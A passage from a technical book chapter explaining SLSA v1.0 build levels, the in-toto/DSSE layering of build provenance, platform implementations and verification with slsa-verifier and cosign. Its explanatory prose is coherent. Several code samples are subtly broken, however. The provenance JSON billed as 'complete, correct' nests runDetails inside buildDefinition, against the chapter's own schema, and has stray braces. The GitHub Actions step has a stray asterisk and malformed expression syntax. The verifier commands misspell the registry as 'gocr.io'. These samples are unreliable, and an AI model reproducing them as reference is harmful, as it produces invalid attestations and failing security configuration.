- **Reproducible Builds project** — <https://reproducible-builds.org/> — the definitions, the documented sources of non-determinism, and the tooling (`diffoscope` , `strip-nondeterminism` , `reprotest`). Start with the "Documentation" and "Tools" sections.

- **SOURCE_DATE_EPOCH specification** — <https://reproducible-builds.org/specs/source-date-epoch/> — the definitive semantics of the timestamp-clamping environment variable.
- **Debian Reproducible Builds** — <https://tests.reproducible-builds.org/debian/> — the live per-package rebuilder dashboards and current reproducibility statistics.
- **Bazel documentation** — *Hermeticity and Remote caching/execution* — <https://bazel.build/> — the action-graph, sandboxing, and content-addressed cache model.
- **Nix / NixOS** — Eelco Dolstra, *The Purely Functional Software Deployment Model* (PhD thesis, 2006) for the derivation model, and <https://nixos.org/> for current practice.
- **Chainguard** — `apko` and `melange` documentation, and `ko` (<https://ko.build/>) — for reproducible, declarative container images without Dockerfiles.
- **David A. Wheeler**, *Fully Countering Trusting Trust through Diverse Double-Compilation* (PhD dissertation, 2009) — the reproducibility-based defence against the Thompson attack.
- **Go** — the *Go Modules Reference* (`go.sum`, content addressing) and the `-trimpath` flag documentation — for the strongest mainstream reproducibility story.
- **SLSA v1.0** — <https://slsa.dev/spec/v1.0/> — for how isolation/hermeticity feed the build levels (developed in Chapter 3).
- Book 1, Chapter 3 (SolarWinds) and Chapter 5 (xz-utils); Book 2, Chapters 2 and 8 (dependency pinning and vendoring); Book 4, Chapter 7 (cache poisoning), Chapter 8 (ephemeral build environments), and Chapter 10 (the secure build platform at scale); Book 7, Chapter 5 (Trusting Trust).

Chapter 3 — SLSA Build Levels and Provenance

What this chapter covers. Chapter 1 ended with a question that no control in the SolarWinds chain was positioned to answer: *did the build faithfully transform the reviewed source into the shipped artifact?* Chapter 2 made that question *answerable* by making builds hermetic and

reproducible. This chapter is about the artifact that finally *answers* it — **provenance** — and the framework that grades how much you can trust that answer: **SLSA v1.0** (as of early 2026; see <https://slsa.dev/spec/v1.0/> for the latest point releases and track updates), the Supply-chain Levels for Software Artifacts. Book 1, Chapter 7 introduced SLSA as one framework among several (alongside SSDF and S2C2F). Here we take the Build track apart mechanically. We define exactly what provenance *is* as a data structure — an in-toto attestation carrying the <https://slsa.dev/provenance/v1> predicate, wrapped in a DSSE envelope and signed — and read a real one field by field. We then walk the Build levels (L0 through L3) precisely: what each *requires*, what each *defends against*, and what a verifier must *check* to believe it. We look at how real platforms — the SLSA GitHub Generator, GitHub's native `actions/attest-build-provenance`, Google Cloud Build, GitLab, and Tekton Chains — produce this provenance, mostly "for free" once the platform owns the signing identity. Finally we take the distributed-systems view: at fleet scale, provenance is a *platform* deliverable, not a per-repo chore, and L3's isolation requirement is what drives the ephemeral-build-environment design of Chapter 8.

Learning goals — after this chapter you should be able to:

- State precisely what SLSA v1.0 is and is not: a framework for **verifiable build integrity**, organized into **tracks**, with the **Build track** defined normatively in v1.0 — *not* a measure of code quality, vulnerability-freedom, or source-review rigor.
- Explain **provenance** as the answer to "how was this artifact built?": its content model (subject / buildDefinition / runDetails → *what / from what / by what / how*) and its exact SLSA v1.0 predicate schema, without inventing fields.
- Describe the **layering** — in-toto Statement → DSSE envelope → signature — and explain why provenance is a *specific predicate type* carried by generic attestation machinery.
- Distinguish **Build L0, L1, L2, and L3** by requirement, threat defended, and verification obligation, and explain why v1.0 **removed the old L4** and made L3 the top of the Build track.
- Explain how a hosted CI platform plus an **OIDC workload identity** plus **Sigstore** yields L2/L3 provenance, using the SLSA GitHub Generator and `actions/attest-build-provenance` as worked examples.

- Describe what a **verifier** (`slsa-verifier` , `cosign verify-attestation`) checks, and where that check gates deployment.

SLSA, recapped and bounded

SLSA (pronounced "salsa") is *Supply-chain Levels for Software Artifacts*, a specification stewarded by the **OpenSSF** (Open Source Security Foundation). Version **1.0** was published in **April 2023** (current as of early 2026 — consult <https://slsa.dev/spec/v1.0/> for errata and any post-1.0 tracks), a substantial restructuring of the earlier v0.1 draft (which Google had open-sourced in 2021). The single most important structural change in v1.0 is that SLSA is now organized into **tracks** — independent ladders of increasing rigor, each covering a different part of the supply chain. v1.0 defines exactly one track normatively: the **Build track**, with levels **L0-L3**. A **Source track** and others are under development and are explicitly *not* what v1.0's levels certify. When someone says "we're SLSA L3," in v1.0 vocabulary they mean **Build L3** unless they say otherwise. This chapter is entirely about the Build track.

It is worth restating the boundary that Book 1, Chapter 7 drew, because it is the most commonly misread thing about SLSA. **SLSA measures build integrity, not software goodness.** A SLSA Build L3 artifact can be a pile of exploitable code full of known-vulnerable dependencies. What L3 certifies is narrow and specific: that the artifact was produced by a *particular, trusted build process, from a particular source, on a hardened platform, and that this fact is recorded in an unforgeable, verifiable statement*. It answers "was this built the way I think it was?" — not "is this code any good?" Vulnerability management is Book 2 and Book 3's job; source-review integrity is Book 7's; SLSA's Build track answers the one question the SolarWinds chain could not. Keep the two axes separate: an artifact has a *build-integrity* level (SLSA) and, orthogonally, a *security posture* (vulns, secrets, quality). Neither implies the other.

SLSA also has a *Threats & mitigations* model, which Chapter 1 already mapped to build stages: threats (B) build-from-modified-source, (C) compromise-the-build-process, (D) poisoned dependency, (E) tamper-before-publish, (F) registry compromise. The Build track's levels are best understood as *a staged answer to threats (B), (C), and (E)* — the ones that live inside the build itself. Provenance is the mechanism; the levels grade how strongly the provenance can be trusted.

Provenance: the core artifact

Provenance is a signed, machine-readable attestation that describes *how a specific artifact was produced*. It is the "verifiable record of the build." Where a code signature says only "*someone holding this key vouches for these bytes*," provenance says "*this specific build process, running on this platform, from this source at this revision, with these parameters, produced an artifact with this digest*." It converts the build from an opaque, unattested transformation into a documented, checkable one.

The content of provenance answers four questions, and it is worth holding these four in mind as the organizing spine of the whole schema:

- **What was built?** — the **subject**: the artifact(s), identified by cryptographic digest (typically `sha256`). This is the thing the provenance is *about*, and the anchor a verifier uses to bind provenance to a concrete artifact it holds.
- **From what?** — the inputs: the **source repository and revision**, the **resolved dependencies**, and the **build configuration**. This is what lets a verifier assert "built from the repo I expected, at a commit I trust."
- **By what?** — the **builder identity**: *which build platform* ran this. Not a person — a system. `https://github.com/actions/runner/github-hosted`, a Cloud Build worker, a Tekton Chains signer. This is the trust anchor: a verifier decides whether it trusts *that builder*.
- **How?** — the **build process**: the build type, entrypoint, external and internal parameters, and run metadata (when it ran, a unique invocation ID). This is what lets a verifier enforce policy on *how* the build was invoked (e.g., "only from the `main` branch via the release workflow").


```

flowchart TD
    subgraph PROV["SLSA v1.0 provenance predicate"]
        subgraph SUBJ["subject → WHAT was built"]
            SD["artifact name + digest (sha256)"]
        end
        subgraph BD["buildDefinition → FROM WHAT / HOW"]
            BT["buildType (URI: how to interpret params)"]
            EP["externalParameters (user-controlled inputs)"]
            IP["internalParameters (platform-set inputs)"]
            RD["resolvedDependencies (source repo+commit, deps)"]
        end
        subgraph RUN["runDetails → BY WHAT / HOW"]
            BID["builder.id (WHICH platform ran this)"]
            MD["metadata (invocationId, startedOn, finishedOn)"]
            BP["byproducts (logs, intermediate outputs)"]
        end
    end

    SD -. "bound by digest to a real artifact" .-> ART["The jar / image / binary"]
    BID -. "trust anchor: is this the builder I expect?" .-> V["Verifier"]
    RD -. "is this the source I expect?" .-> V
    EP -. "policy on how it was invoked" .-> V

```

The SLSA v1.0 provenance predicate schema

The v1.0 provenance is identified by the predicate type <https://slsa.dev/provenance/v1>. Its predicate object has exactly **two top-level fields**: `buildDefinition` and `runDetails`. Do not confuse this with the older v0.2 predicate (predicateType <https://slsa.dev/provenance/v0.2>), which used `builder`, `buildType`, `invocation`, `materials`, and `metadata` at the top level — a different shape. The v1.0 fields are:

buildDefinition — the *external, reproducible description* of the build. In principle, another party with the same build platform and this object could re-run the build. Its fields:

- **buildType** (URI, required) — a schema identifier telling a verifier *how to interpret* `externalParameters` and `resolvedDependencies`. It is the "MIME type" of the build. Example: <https://actions.github.io/buildtypes/workflow/v1> for a GitHub Actions workflow, or <https://slsa.dev/container-based-build/v0.1>. The buildType is a contract: given this URI, a verifier knows what keys to expect below.

- **externalParameters** (object, required) — the inputs *under external (user) control* that are semantically part of the build request: the workflow reference, the source repository, user-supplied workflow inputs. These are the parameters an attacker would want to influence, so verifiers scrutinize them hardest.
- **internalParameters** (object, optional) — inputs *set by the build platform itself*, not the user: GitHub's `github` context values (event name, repository ID, runner environment), default configuration. Recorded for completeness and forensics.
- **resolvedDependencies** (array, optional) — the *fully-resolved* inputs actually consumed: the source repo pinned to a **git commit digest**, container base images by digest, resolved package versions. Each entry is a `ResourceDescriptor` — `{uri, digest, name, ...}`. This is where "from what" is nailed down to immutable identifiers.

runDetails — the *record of the particular execution*. It describes what actually happened, as opposed to what was requested. Its fields:

- **builder** (object, required) — the build platform identity.
- **builder.id** (URI, required) — the **identity of the build platform** that produced and is responsible for this provenance. This is the field a verifier's trust decision hinges on.
- **builder.builderDependencies** (array, optional) — tools/components the builder itself depended on, by digest.
- **builder.version** (object, optional) — versions of the builder's components.
- **metadata** (object, optional) — a `BuildMetadata` object.
- **invocationId** — a globally-unique identifier for this build run (e.g., a link to the CI run). Critical for correlating provenance to logs.
- **startedOn** / **finishedOn** — RFC 3339 timestamps bracketing the build.
- **byproducts** (array, optional) — additional outputs of the build that are not the primary subject: build logs, intermediate manifests, SBOMs. Also `ResourceDescriptor`s.

That is the *entire* v1.0 predicate. There is no `materials` field (that was v0.2), no `recipe`, no `builderConfig`. If you see those, you are reading an older or a non-SLSA schema. The discipline the STYLE guide demands —

do not invent schema fields — is easy here because the schema is small: two objects, and everything nests under `buildDefinition` or `runDetails`.

Provenance is an in-toto attestation, wrapped in DSSE

The provenance *predicate* is only the innermost payload. To become a usable, signed artifact, it is wrapped in two more layers. Understanding the layering is essential, because it is why provenance and, say, an SBOM attestation or a test-result attestation all look structurally alike — they share the outer machinery and differ only in the predicate.

Layer 1 — the in-toto Statement. The predicate is embedded in an **in-toto Statement** (Book 5, Chapter 6 — in-toto: Attestations, Layouts, and Policies), the generic envelope for "a claim about an artifact." A v1 Statement has four fields:

- `_type` : `https://in-toto.io/Statement/v1` — declares this is an in-toto v1 Statement.
- `subject` : an array of `{name, digest}` — *which artifacts* this statement is about. This is where the provenance's "what was built" lives; the digest here is what binds the whole attestation to a concrete artifact.
- `predicateType` : `https://slsa.dev/provenance/v1` — *what kind of claim* this is. This is the discriminator that tells a consumer "this is SLSA provenance," as opposed to an SBOM (`https://cyclonedx.org/bom`) or a vulnerability scan.
- `predicate` : the SLSA `buildDefinition` + `runDetails` object described above.

So `subject` and `predicateType` belong to the *Statement* layer (in-toto), while `buildDefinition` / `runDetails` are the *predicate* (SLSA). A common point of confusion is "where does `subject` live?" — it lives at the Statement level, one level *above* the SLSA predicate, because *every* in-toto attestation has a subject regardless of predicate type.

Layer 2 — the DSSE envelope. The Statement is serialized to JSON and wrapped in a **DSSE** (Dead Simple Signing Envelope). DSSE is a signing envelope designed to sign an arbitrary payload together with its type, avoiding canonicalization pitfalls (it uses a *Pre-Authentication Encoding*,

PAE, so the signature covers both the payload and its `payloadType`). A DSSE envelope has:

- `payloadType`: `application/vnd.in-toto+json` — the type of the wrapped payload.
- `payload`: the **base64-encoded** in-toto Statement JSON.
- `signatures`: an array of `{sig, keyid}` (or, in the Sigstore keyless model, an accompanying certificate). The signature is over the PAE of `(payloadType, payload)`.

Layer 3 — the signature and its identity. Who signs, and how a verifier learns the signing identity, is Book 5's subject. In the keyless Sigstore model (Book 5, Chapters 3–4), the build platform obtains a short-lived certificate from **Fulcio** bound to its **OIDC identity**, signs the DSSE, and records the signature in the **Rekor** transparency log. The `builder.id` in `runDetails` and the OIDC identity in the signing certificate should *agree* — that agreement is what makes the provenance unforgeable by anyone who is not that builder.

```
flowchart TD
    P["SLSA predicate\n{ buildDefinition, runDetails }\npredicateType: slsa.dev/provenance/v1"]
    P --> S
    subgraph S["in-toto Statement (Book 5 Ch 6)"]
        ST["_type: in-toto.io/Statement/v1\nsubject: [ {name, digest} ] ← WHAT\npredicateType: slsa.dev/provenance/v1\npredicate: { ...the SLSA predicate... }"]
    end
    S --> |"serialize to JSON, base64-encode"| D
    subgraph D["DSSE envelope"]
        DE["payloadType: application/vnd.in-toto+json\npayload: \nsignature s: [ {sig, keyid} ]"]
    end
    D --> |"sign PAE(payloadType, payload)"| SIG["Signature\n(keyed OR Sigstore keyless:\nFulcio cert bound to OIDC identity,\nlogged in Rekor)"]

    Note["Same three layers carry ANY predicate:\nSBOM, VEX, test results – provenance is\njust ONE predicate type."]::note
    classDef note fill:#eef,stroke:#88a,color:#224;
```

The payoff of this layering is *generality*: the signing and transport machinery (in-toto + DSSE + Sigstore) is predicate-agnostic. Provenance is "just" the predicate type `https://slsa.dev/provenance/v1`. The same pipeline that signs and stores provenance stores your SBOM attestations

(Book 3, Chapter 5 — SBOM Distribution, Storage, and Querying at Scale) and your VEX documents (Book 3, Chapter 6). This is why "attestation store" is a single piece of infrastructure rather than one per claim type.

A real SLSA v1.0 provenance attestation

Here is a complete, correct example, in the shape produced by GitHub's `actions/attest-build-provenance` for a container image. The outer object is the in-toto Statement (what you get after base64-decoding the DSSE `payload`); the DSSE wrapper and Sigstore certificate are shown separately below.

```

{
  "_type": "https://in-toto.io/Statement/v1",
  "subject": [
    {
      "name": "ghcr.io/acme/payments-api",
      "digest": {
        "sha256": "3f79bb7b435b05321651daefd374cd21d2f8f1b5e3f2e9a6c0b1
d9e8a7c6b5a4"
      }
    }
  ],
  "predicateType": "https://slsa.dev/provenance/v1",
  "predicate": {
    "buildDefinition": {
      "buildType": "https://actions.github.io/buildtypes/workflow/v1",
      "externalParameters": {
        "workflow": {
          "ref": "refs/heads/main",
          "repository": "https://github.com/acme/payments-api",
          "path": ".github/workflows/release.yml"
        }
      },
      "internalParameters": {
        "github": {
          "event_name": "push",
          "repository_id": "612345678",
          "repository_owner_id": "98765432",
          "runner_environment": "github-hosted"
        }
      },
      "resolvedDependencies": [
        {
          "uri": "git+https://github.com/acme/payments-api@refs/heads/
main",
          "digest": {
            "gitCommit": "7c2f4a9e1b3d5c6f8a0e2b4d6f8a0c2e4b6d8f0a"
          }
        }
      ],
      "runDetails": {
        "builder": {
          "id": "https://github.com/acme/payments-api/.github/workflows/
release.yml@refs/heads/main"
        },
        "metadata": {
          "invocationId": "https://github.com/acme/payments-api/actions/
runs/9876543210/attempts/1"
        }
      }
    }
  }
}

```

```
}  
}
```

Read it against the four questions. **What:** the `subject` — an image identified by its `sha256` digest. **From what:** `resolvedDependencies[0]` pins the source to a `gitCommit`, and `externalParameters.workflow` records the repo, ref, and workflow file. **By what:** `runDetails.builder.id` names the workflow identity that produced it. **How:** `buildType` says "interpret this as a GitHub Actions workflow," and `invocationId` links to the exact run. Note what is *absent* — no CVE data, no test results, no vulnerability claims. That is by design; provenance is about the build, not the goodness.

The DSSE envelope that carries this, as stored (e.g., attached to the image in the OCI registry or logged in Rekor), looks like:

```
{  
  "payloadType": "application/vnd.in-toto+json",  
  "payload": "eyJfdHlwZSI6Imh0dHBzOi8vaW4tdG90by5pby9TdGF0ZW1lbnQvdjEiLC4uLn0=",  
  "signatures": [  
    {  
      "sig": "MEUCIQCw...base64-DER-ECDSA-signature...AiEA9k=="  
    }  
  ]  
}
```

In the keyless model, the verifying material is not a long-lived public key but a short-lived **Fulcio** X.509 certificate whose Subject Alternative Name is the workflow's OIDC identity — for a GitHub-hosted build, something like `https://github.com/acme/payments-api/.github/workflows/release.yml@refs/heads/main`, with certificate extensions recording the issuer (`https://token.actions.githubusercontent.com`), the trigger, the commit SHA, and the run ID. The `builder.id` in the payload and the SAN in the certificate describe the *same* identity from two directions — the payload *claims* it, the certificate *proves* it. A verifier checks that they match. That cross-check is the seam where a forged provenance would fail.

The SLSA Build levels

The Build track defines four levels. Each is *cumulative*: L2 includes everything in L1, L3 everything in L2. The progression is not "more

provenance fields" — it is *increasing trustworthiness of the same provenance*, driven by *who generates it* and *how well the build is isolated from tampering with its own attestation*.

```
flowchart LR
    L0["L0\nNo guarantees\n(no provenance)"]
    L1["L1\nProvenance EXISTS\n• scripted build\n• provenance describes it\n• may be unsigned/forgeable"]
    L2["L2\nSIGNED provenance from\n• a HOSTED platform\n• build runs on a service,\nnot a laptop\n• platform signs with\nits own identity"]
    L3["L3\nHARDENED builds\n• unforgeable provenance\n• isolated build runs\n• signing key inaccessible\n• to build steps\n• ephemeral environment"]

    L0 -->|"generate provenance"| L1
    L1 -->|"hosted builder signs it"| L2
    L2 -->|"isolation & non-forgeability"| L3

    L1 -. "defends: nothing strong;\nestablishes transparency,\ncatches mistakes" .-> D1[" "]
    L2 -. "defends: forged provenance,\npost-hoc tampering,\n'built on my laptop'" .-> D2[" "]
    L3 -. "defends: a malicious build\nforging its own provenance —\nthe SolarWinds class" .-> D3[" "]

    style D1 fill:none,stroke:none
    style D2 fill:none,stroke:none
    style D3 fill:none,stroke:none
```

Build L0 — no guarantees

L0 is the absence of any SLSA claim: no provenance is produced. This is where most software in the world sits today. There is nothing to verify, so a consumer has no machine-checkable basis for any statement about how the artifact was built. L0 exists in the model only as the baseline the ladder climbs away from.

Build L1 — provenance exists

At **L1**, two things are true: the build **runs from a consistent, defined process** (a build script — a `Makefile`, a CI workflow, a `Dockerfile` — rather than ad-hoc manual steps), and it **generates provenance** describing how the artifact was built, made available to consumers. The provenance must be complete enough to be useful, but at L1 it **may be unsigned, and it is forgeable** — anyone could have produced it, and there is no cryptographic binding to a trusted builder.

What does L1 actually buy you if the provenance is forgeable? Two real things. First, **transparency and mistake-catching**: an honest team that publishes provenance can *itself* detect when a build used the wrong source, an unexpected dependency, or a mis-configured pipeline — the provenance surfaces the build's inputs for review, and downstream consumers can sanity-check them. Second, and more importantly, **it establishes the practice**: the pipeline now emits provenance as a matter of course, so raising the trust level later is a matter of *where it is generated and how it is signed*, not of inventing the capability. L1 defends against essentially *no determined adversary* — a malicious builder can write whatever provenance it likes — but it is the difference between "we could verify builds if we chose to" and "we have no build metadata at all."

Build L2 — signed provenance from a hosted platform

L2 adds two requirements that, together, defeat forgery by outsiders and tampering after the fact. First, the build must run on a **hosted build platform** — a shared build service (GitHub Actions, GitLab CI, Google Cloud Build, a Tekton cluster), *not* a developer's laptop or a one-off machine. Second, that platform **cryptographically signs** the provenance using an identity that belongs to the *platform*, not to the user's build steps.

The two shifts matter for distinct reasons. Moving off the laptop removes the "built-on-my-machine" ambiguity: there is now a *specific, addressable builder identity* (`builder.id`) responsible for the artifact, and an audit trail (the CI run, the `invocationId`) behind it. Signing makes the provenance **authenticated to that platform**: a verifier can check the signature and know the provenance was produced by *that builder* and has not been altered since. A consumer can now assert, cryptographically, "this artifact was built by GitHub Actions for repo X" — and no attacker who does not control that builder's signing identity can forge that claim or swap the recorded digest.

L2 defends against: **forged provenance** by third parties, **post-build tampering** with the provenance (any alteration breaks the signature), and the ambiguity of untraceable builds. What L2 does *not* yet defend against is the subtle, crucial case: **the build's own steps forging or influencing the provenance**. At L2, the build runs on a hosted platform, but the user-controlled build steps may still run in the same trust domain as the provenance generator — they might be able to reach the signing

material, or to influence what the platform records. That gap is exactly what L3 closes.

Build L3 — hardened builds

L3 is the current top of the Build track. It adds the requirement that the build platform provide **strong guarantees of isolation and non-forgability**. Specifically:

- **Provenance is unforgeable — even by the build's own steps.**

The mechanism that generates and signs provenance must be **inaccessible to user-defined build steps**. The signing key (or the ephemeral Fulcio identity) must live somewhere the build code cannot read it, so that a malicious build cannot sign a provenance claiming it built something it did not, nor tamper with the digest or source recorded for its own run.

- **Builds are isolated from one another.** One build must not be able to influence another build's process or provenance — no shared mutable state, no cross-contamination through caches or runners (Chapter 7 on cache poisoning; Chapter 8 on ephemerality). The build environment is **ephemeral and isolated**: provisioned fresh, torn down after, with no persistence that a prior (possibly malicious) build could have poisoned.

The threat L3 defends against is the one that makes Book 4 exist: **a malicious build forging its own provenance, or one build tampering with another**. Recall SolarWinds/SUNSPOT — an implant in the build environment substituting bytes at compile time. At L3, the provenance-generation and signing sit *outside* the tampering reach of the user build steps, so even a build whose steps are fully attacker-controlled cannot make the platform sign a lie about *which source produced which digest*. The build can still emit a malicious artifact — L3 does not stop bad code — but it **cannot lie in the provenance about having done so**. The recorded source commit and output digest are trustworthy, so a verifier comparing them against policy will catch a build that ran from the wrong source or produced an unexpected artifact. This is the property that closes the "the build process is compromised" (threat C) hole for the *attestation*: you may not prevent the tampering, but you make it *undeniable and detectable* downstream.

Achieving L3 is fundamentally a **platform** property, not something a build script can assert about itself. It requires the platform architecture

to separate the untrusted, user-controlled build from the trusted provenance generator — which is why L3 is a build-platform capability you adopt (GitHub's reusable SLSA workflows, Cloud Build, Tekton Chains with proper isolation) rather than a checklist you complete in your own YAML.

On the removed L4

SLSA v0.1 had a fourth level, **L4**, whose requirements centered on **two-person review of all changes** and **hermetic, reproducible builds**. In the v1.0 restructuring, the OpenSSF **removed L4 from the Build track**. The reasoning: those requirements are heterogeneous — some (two-person review) are really *source-track* concerns, and some (hermeticity/reproducibility, Chapter 2) are valuable but do not fit cleanly as a single "level 4" of *build* integrity. Rather than overload the Build track, v1.0 makes **L3 the top of the Build track** and defers the old L4 material to other tracks (the Source track for review requirements) and to complementary practices (reproducible builds as an independent property that *strengthens* verification but is not itself a Build level). So: in v1.0 there is no Build L4. If a document references "SLSA 4," it is either citing v0.1 or speaking loosely. The ladder you climb today is L0 → L1 → L2 → L3.

The Build levels at a glance

Level	Requirement	Defends against	What a verifier checks
L0	Nothing	Nothing	N/A — no provenance
L1	Scripted build generates provenance (may be unsigned/forgeable)	Honest mistakes; establishes transparency. No determined adversary.	Provenance exists and is well-formed; inputs look sane
L2	Build runs on a hosted platform that signs provenance with its own identity	Forged provenance by outsiders; post-hoc tampering; untraceable "laptop" builds	Signature valid + signer is the expected builder; subject digest matches artifact

Level	Requirement	Defends against	What a verifier checks
L3	Platform makes provenance unforgeable even by build steps ; builds are isolated & ephemeral ; signing material inaccessible to user code	A malicious build forging its own provenance; one build tampering with another (SolarWinds class)	Everything at L2, plus trust that <code>builder.id</code> implies isolation guarantees; policy on source/params is now meaningfully enforceable

The rightmost column is the operational punchline: **the level determines how much a verifier's checks are worth**. At L1 the verifier can read provenance but cannot trust it against an adversary. At L2 the verifier trusts *that the named builder produced it*. At L3 the verifier additionally trusts *that the named builder could not have been coerced by the build's own code into lying* — which is what makes source- and-parameter policy enforcement (below) actually meaningful.

Producing provenance: real implementations

The recurring pattern across every serious implementation is the same, and it is worth stating before the specifics: **the platform — not the user's build steps — generates and signs the provenance, using an identity the build steps cannot access**. That last clause is the entire difference between L2 and L3. Everything below is a variation on how a given platform achieves that separation.

GitHub Actions: two paths to signed provenance

GitHub offers two mechanisms, and it is important not to conflate them.

1. The SLSA GitHub Generator (slsa-framework/slsa-github-generator). This is a set of **reusable workflows** maintained by the SLSA project that reach **Build L3** on GitHub-hosted runners. The key architectural trick is *isolation via the reusable-workflow boundary*: your build calls the generator as a separate reusable workflow (`uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v...`), and that reusable workflow runs in a **separate job with its own OIDC identity**, distinct from your build job. Your (untrusted) build steps produce the artifact and

hand its *hash* to the generator; the generator — whose job your build steps cannot inject code into — mints the provenance, obtains a signing identity via **OIDC**, signs via Sigstore, and logs to Rekor. Your build code never touches the signing identity. That separation is what earns L3: even a fully malicious build job cannot forge the provenance the generator emits, because it runs in a different job it cannot reach into. The generator's `builder.id` names the reusable workflow ref, so a verifier can require *that specific trusted generator*.

2. Native build provenance: `actions/attest-build-provenance`. GitHub's first-party action (GA since 2024) produces **build provenance attestations** directly, backed by **Sigstore** — signing keylessly via **Fulcio** using the workflow's OIDC identity, and recording in the **public-good Rekor** transparency log. A single step:

```
permissions:
  id-token: write          # to fetch the OIDC token (the build identity)
  attestations: write      # to store the attestation on GitHub
  contents: read

steps:
  - uses: actions/checkout@v4
  - name: Build image
    run: |
      docker build -t ghcr.io/acme/payments-api:latest .
      digest=$(docker inspect --format='{{index .RepoDigests 0}}'
ghcr.io/acme/payments-api:latest)
      echo "digest=${digest}*" >> "$GITHUB_OUTPUT"
    id: build
  - uses: actions/attest-build-provenance@v1
    with:
      subject-name: ghcr.io/acme/payments-api
      subject-digest: ${ steps.build.outputs.digest }
      push-to-registry: true
```

The `id-token: write` permission is the linchpin: it lets the job fetch a short-lived **OIDC token** from `token.actions.githubusercontent.com` that encodes the workflow identity (repo, ref, workflow path, commit, run ID). The action exchanges that token at Fulcio for a signing certificate bound to the identity, signs the DSSE-wrapped provenance, and logs it. Because the identity is minted by GitHub's OIDC provider — not by anything the build controls — the resulting provenance is authenticated to the workflow. Whether this reaches **L2 or L3** depends on the isolation between the build steps and the token: run on GitHub-hosted runners

with the attestation as a distinct trust boundary and it approaches L3; the SLSA generator's separate-job model gives the cleaner L3 story. Either way, note what the engineer had to do: *almost nothing*. Add a permission and a step. The hosted CI + OIDC identity + Sigstore stack yields signed provenance essentially "for free" — the platform already knows who is building, when, from what. That is the point of the paved road.

Google Cloud Build, GitLab, and Tekton Chains

The same pattern recurs on other platforms, each generating provenance from the *platform side*:

- **Google Cloud Build** automatically generates SLSA build provenance for builds it runs, signed by Google's build service and stored alongside the image in Artifact Registry. Because Cloud Build controls the worker and the signing, the build steps do not hold the signing identity — the L2/L3 isolation story is a property of the managed service.
- **GitLab CI** can emit SLSA provenance statements for build artifacts, tied to the pipeline's identity, using GitLab's OIDC and runner model.
- **Tekton Chains** is the most instructive because it makes the separation explicit. Tekton Chains is a **controller that observes TaskRun / PipelineRun objects** in a Tekton cluster and, *after* a run completes, reads its inputs and results from the Kubernetes API and generates a signed provenance attestation (SLSA format, in-toto/DSSE), signing with a key the *controller* holds — **not** the pipeline pods. The build pods run untrusted user code; the Chains controller runs in a separate, privileged context with the signing key mounted where the build pods cannot reach it. That architectural separation — *observer generates provenance, build cannot touch the signer* — is precisely the L3 property, expressed in Kubernetes terms. Chains can store the attestation in an OCI registry (as a referring artifact) or a transparency log.

```
sequenceDiagram
    participant User as User build steps (UNTRUSTED)
    participant Plat as Build platform (TRUSTED)
    participant OIDC as OIDC provider / Fulcio
    participant Store as Attestation store (registry / Rekor)
    participant Ver as Verifier (at deploy)

    User->>Plat: Produce artifact, report its digest
    Note over User,Plat: Build steps CANNOT reach the signing identity
    - this is the L3 boundary
    Plat->>OIDC: Request identity for THIS build (workflow/workload identity)
    OIDC-->>Plat: Short-lived signing credential (cert bound to OIDC SAN)
    Plat->>Plat: Assemble provenance (subject, buildDefinition, runDetails)
    Plat->>Plat: Wrap in in-toto Statement → DSSE, sign
    Plat->>Store: Store signed provenance (+ log in transparency log)
    Note over Store: Provenance flows into the SBOM/attestation store (Book 3 Ch 5)
    Ver->>Store: Fetch provenance for artifact digest
    Ver->>Ver: Check signature, signer identity, source, digest, policy
    Ver-->>Ver: PASS → admit / FAIL → block (Book 6)
```

Verifying provenance: the consumer side

Producing provenance is inert without verification — an unverified attestation is a comment field. Verification is where provenance *does work*, and it is the subject of Book 5, Chapter 8 (Provenance Verification in Practice); here we outline what a verifier checks and where.

A provenance verifier answers a policy question of the form: *"Was this artifact (by digest) built by the builder I trust, from the source I expect, under the constraints I require?"* Concretely, it checks:

1. **Signature validity + signer identity.** Is the DSSE signature valid, and — crucially — does the signing identity match the **expected builder**? In the keyless model this means verifying the Fulcio certificate chains to the Sigstore root, that the OIDC issuer is the expected one (e.g., `token.actions.githubusercontent.com`), and that the certificate's SAN identity matches the expected workflow. A valid signature by the *wrong* identity must fail.
2. **Subject digest matches the artifact.** The `subject[].digest` in the provenance must equal the digest of the artifact actually being

deployed. This binds the attestation to *this* bit pattern; without it, an attacker could present valid provenance for a *different* artifact.

3. Source repository and revision are expected.

`resolvedDependencies` / `externalParameters` must show the artifact was built from the repo and (often) the branch/commit you trust — e.g., `github.com/acme/payments-api` on `refs/heads/main`, not a fork or a PR branch.

4. The builder is trusted. `builder.id` must be an allowed builder — and, for L3, one whose isolation properties you rely on (the SLSA generator's reusable workflow, a specific Cloud Build service, your Tekton Chains signer).

5. Policy on build parameters. Any additional constraints: the build ran on a `github-hosted` runner (not self-hosted), from the release workflow file, on a protected branch, etc. — all readable from `externalParameters` / `internalParameters`.

Two tools embody this:

```
# slsa-verifier: purpose-built for SLSA provenance from known builders.
slsa-verifier verify-image gocr.io/acme/payments-
api@sha256:3f79bb7b... \
  --source-uri github.com/acme/payments-api \
  --source-branch main \
  --builder-id "https://github.com/acme/payments-api/.github/workflows/
release.yml@refs/heads/main"

# cosign: general attestation verification, keyless, with an identity/
issuer policy.
cosign verify-attestation \
  --type slsaprovenance \
  --certificate-identity-regexp "^https://github.com/acme/payments-
api/.github/workflows/release.yml@.*" \
  --certificate-oidc-issuer https://
token.actions.githubusercontent.com \
  gocr.io/acme/payments-api@sha256:3f79bb7b...
```

`slsa-verifier` encodes SLSA-specific knowledge of known builders and their provenance formats and is the safer default for SLSA provenance; `cosign verify-attestation` is the general-purpose tool, requiring you to specify the identity and issuer policy explicitly. Note that **both take the artifact by digest, not by tag** — verifying `:latest` is meaningless because tags are mutable; you verify the immutable digest you are about to run.

Where does this check *run*? At the **deployment gate**. Book 5, Chapter 10 (Designing Attestation-Based Deployment Gates) and Book 6, Chapters 5–6 (Image Signing and Verification in Kubernetes; Admission Control and Policy Engines) place verification at **admission time** in the cluster: a Kyverno or a Sigstore-policy-controller admission webhook fetches the provenance for the image being admitted, runs exactly the checks above, and **blocks the deployment if verification fails**. That is the moment the whole chain pays off — the SolarWinds-class tampered artifact, lacking valid provenance from the expected builder and source, never reaches production.

Distributed-systems lens: provenance is a platform deliverable

At the scale this book assumes — hundreds of services, dozens of teams, thousands of builds a day — the central insight about provenance is organizational as much as technical: **provenance generation belongs to the shared build platform, not to individual teams**. Every point below follows from that.

